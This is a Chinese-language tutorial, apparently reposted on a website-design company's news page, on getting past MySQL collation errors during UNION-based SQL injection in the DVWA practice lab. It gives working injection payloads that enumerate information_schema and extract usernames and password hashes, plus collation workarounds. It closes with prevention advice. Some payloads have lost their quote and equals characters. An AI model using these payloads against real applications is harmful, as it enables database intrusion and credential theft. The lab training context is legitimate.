资讯动态

DVWA靶场实战:手把手解决SQL注入中‘Illegal mix of collations‘的UNION报错

发布时间:2026/9/10 1:40:44 来源:尧图企业网站定制
DVWA靶场实战手把手解决SQL注入中Illegal mix of collations的UNION报错在渗透测试的学习过程中DVWADamn Vulnerable Web Application无疑是最受欢迎的靶场之一。它模拟了各种常见的Web安全漏洞为初学者提供了绝佳的实践环境。然而在实际操作中尤其是进行SQL注入练习时我们经常会遇到一些看似简单却令人困惑的错误。其中Illegal mix of collations for operation UNION就是一个典型的例子。这个错误通常发生在使用UNION查询时当两个表的字段排序规则collation不一致时数据库会拒绝执行查询。对于刚接触SQL注入的新手来说这可能会成为一个不小的障碍。本文将带你深入理解这个问题的本质并提供两种切实可行的解决方案让你在DVWA靶场中顺利突破这个障碍。1. 理解排序规则Collation及其重要性排序规则Collation是数据库中用于定义字符比较和排序方式的规则集。它决定了字符串如何被比较、排序以及处理大小写敏感等问题。在MySQL中每个字符集如utf8、latin1等都有对应的多种排序规则。常见的utf8排序规则包括utf8_general_ci不区分大小写的通用排序规则utf8_unicode_ci基于Unicode标准的排序规则更精确但性能稍低utf8_bin二进制比较区分大小写在DVWA靶场中users表通常使用utf8_unicode_ci排序规则而information_schema系统表则默认使用utf8_general_ci。这种差异正是导致UNION查询失败的根本原因。提示ci后缀表示case insensitive不区分大小写而bin表示二进制比较区分大小写2. 诊断问题如何确认排序规则不匹配当你在DVWA的SQL注入模块中执行类似以下payload时遇到错误 union select table_schema,table_name from information_schema.tables where table_schemadvwa#首先需要确认的是两边字段的排序规则是否一致。以下是诊断步骤2.1 查询users表的排序规则SHOW CREATE TABLE users;执行后会显示类似如下的结果CREATE TABLE users ( user_id int(11) NOT NULL AUTO_INCREMENT, first_name varchar(15) COLLATE utf8_unicode_ci DEFAULT NULL, last_name varchar(15) COLLATE utf8_unicode_ci DEFAULT NULL, ... ) ENGINEInnoDB DEFAULT CHARSETutf8 COLLATEutf8_unicode_ci从这里可以看到first_name和last_name字段使用的是utf8_unicode_ci排序规则。2.2 查询information_schema.tables的排序规则SHOW CREATE TABLE information_schema.tables;由于information_schema是系统数据库你可能无法直接查看其创建语句。但可以通过以下方式确认SHOW COLLATION WHERE Charset utf8;这会列出所有utf8字符集对应的排序规则。默认情况下information_schema中的表使用utf8_general_ci。3. 解决方案一修改靶场表结构最直接的解决方案是将users表中的相关字段排序规则改为与information_schema一致。这种方法适合在靶场环境中使用但不建议在生产环境中随意修改表结构。3.1 修改字段排序规则执行以下SQL命令ALTER TABLE users MODIFY first_name varchar(15) CHARACTER SET utf8 COLLATE utf8_general_ci; ALTER TABLE users MODIFY last_name varchar(15) CHARACTER SET utf8 COLLATE utf8_general_ci;3.2 验证修改结果再次执行SHOW CREATE TABLE users;确认修改已生效。然后重新尝试之前的UNION注入payload应该可以正常执行了。4. 解决方案二调整注入Payload如果你没有权限修改表结构或者希望在保持靶场原始状态的情况下解决问题可以调整注入Payload使其兼容不同的排序规则。4.1 使用CONVERT或CAST函数 union select CONVERT(table_schema USING utf8) COLLATE utf8_unicode_ci, CONVERT(table_name USING utf8) COLLATE utf8_unicode_ci from information_schema.tables where table_schemadvwa#这个payload将information_schema中的字段转换为与users表相同的排序规则。4.2 使用二进制比较另一种方法是强制使用二进制比较 union select BINARY(table_schema), BINARY(table_name) from information_schema.tables where table_schemadvwa#这种方法虽然能解决排序规则冲突但会导致比较区分大小写。5. 实战案例完整注入流程让我们通过一个完整的例子来演示如何在实际注入中处理排序规则问题。5.1 初始探测首先我们确定注入点并测试字段数 order by 2#确认有2个字段后尝试UNION查询 union select 1,2#如果遇到排序规则错误我们进入诊断阶段。5.2 诊断排序规则 and 12 union select character_set_database, collation_database#这会返回当前数据库的字符集和排序规则。5.3 调整Payload根据诊断结果调整查询 union select CONVERT(table_name USING utf8) COLLATE utf8_unicode_ci, CONVERT(table_type USING utf8) COLLATE utf8_unicode_ci from information_schema.tables where table_schemadatabase()#5.4 获取敏感数据最后我们可以获取用户数据 union select CONVERT(user USING utf8) COLLATE utf8_unicode_ci, CONVERT(password USING utf8) COLLATE utf8_unicode_ci from users#6. 预防与最佳实践虽然本文主要解决靶场环境中的问题但了解如何预防这类问题对开发安全的应用程序也很重要数据库设计一致性确保整个应用使用统一的字符集和排序规则参数化查询始终使用预处理语句防止SQL注入错误处理避免在生产环境中显示详细的数据库错误信息权限控制限制数据库用户的权限避免不必要的修改操作在DVWA这样的学习环境中遇到Illegal mix of collations错误实际上是一个很好的学习机会。它不仅让你更深入地理解了SQL注入技术还让你对MySQL的排序规则有了更清晰的认识。在实际渗透测试中这种对细节的关注往往能帮助你发现和利用更复杂的漏洞。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价